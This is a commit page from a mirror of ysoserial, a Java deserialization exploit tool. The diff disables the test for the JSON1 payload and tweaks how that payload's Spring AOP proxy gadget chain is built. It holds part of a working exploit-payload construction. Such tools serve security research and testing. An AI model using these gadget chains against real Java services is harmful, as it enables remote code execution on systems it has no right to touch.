archive/ysoserial
1
0
Fork 0
mirror of https://github.com/frohoff/ysoserial.git synced 2026-09-27 01:11:53 +08:00
Code Issues Packages Projects Releases Wiki Activity

Disable json-lib test as the gadget chain depends on the HashMap ordering which seemingly is different

Browse Source 
across JDK versions.
This commit is contained in:
mbechler
2016-03-06 19:24:32 +01:00
parent b814712e19
commit eabfce0dc2
1 changed files with 4 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/ysoserial/payloads/JSON1.java
+3 -8
View File
@@ -2,6 +2,7 @@ package ysoserial.payloads;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -10,10 +11,8 @@ import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import java.util.TreeMap;
import javax.management.openmbean.CompositeData; import javax.management.openmbean.CompositeData;
import javax.management.openmbean.CompositeDataSupport;
import javax.management.openmbean.CompositeType; import javax.management.openmbean.CompositeType;
import javax.management.openmbean.OpenDataException; import javax.management.openmbean.OpenDataException;
import javax.management.openmbean.OpenType; import javax.management.openmbean.OpenType;
@@ -23,7 +22,6 @@ import javax.management.openmbean.TabularType;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;
import net.sf.json.JSONObject; import net.sf.json.JSONObject;
@@ -68,6 +66,7 @@ import net.sf.json.JSONObject;
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6",
"commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"
} ) } )
@PayloadTest(skip="This depends on HashMap ordering")
public class JSON1 implements ObjectPayload<Object> { public class JSON1 implements ObjectPayload<Object> {
/** /**
@@ -98,14 +97,10 @@ public class JSON1 implements ObjectPayload<Object> {
TabularDataSupport t1 = new TabularDataSupport(tt); TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt); TabularDataSupport t2 = new TabularDataSupport(tt);
CompositeDataSupport cds = Reflections.createWithoutConstructor(CompositeDataSupport.class);
Reflections.setFieldValue(cds, "compositeType", rt);
Reflections.setFieldValue(cds, "contents", new TreeMap());
// we need to make payload implement composite data // we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used // it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport(); AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(payload)); as.setTarget(payload);
final CompositeData cdsProxy = Gadgets.createProxy( final CompositeData cdsProxy = Gadgets.createProxy(
(InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
CompositeData.class, CompositeData.class,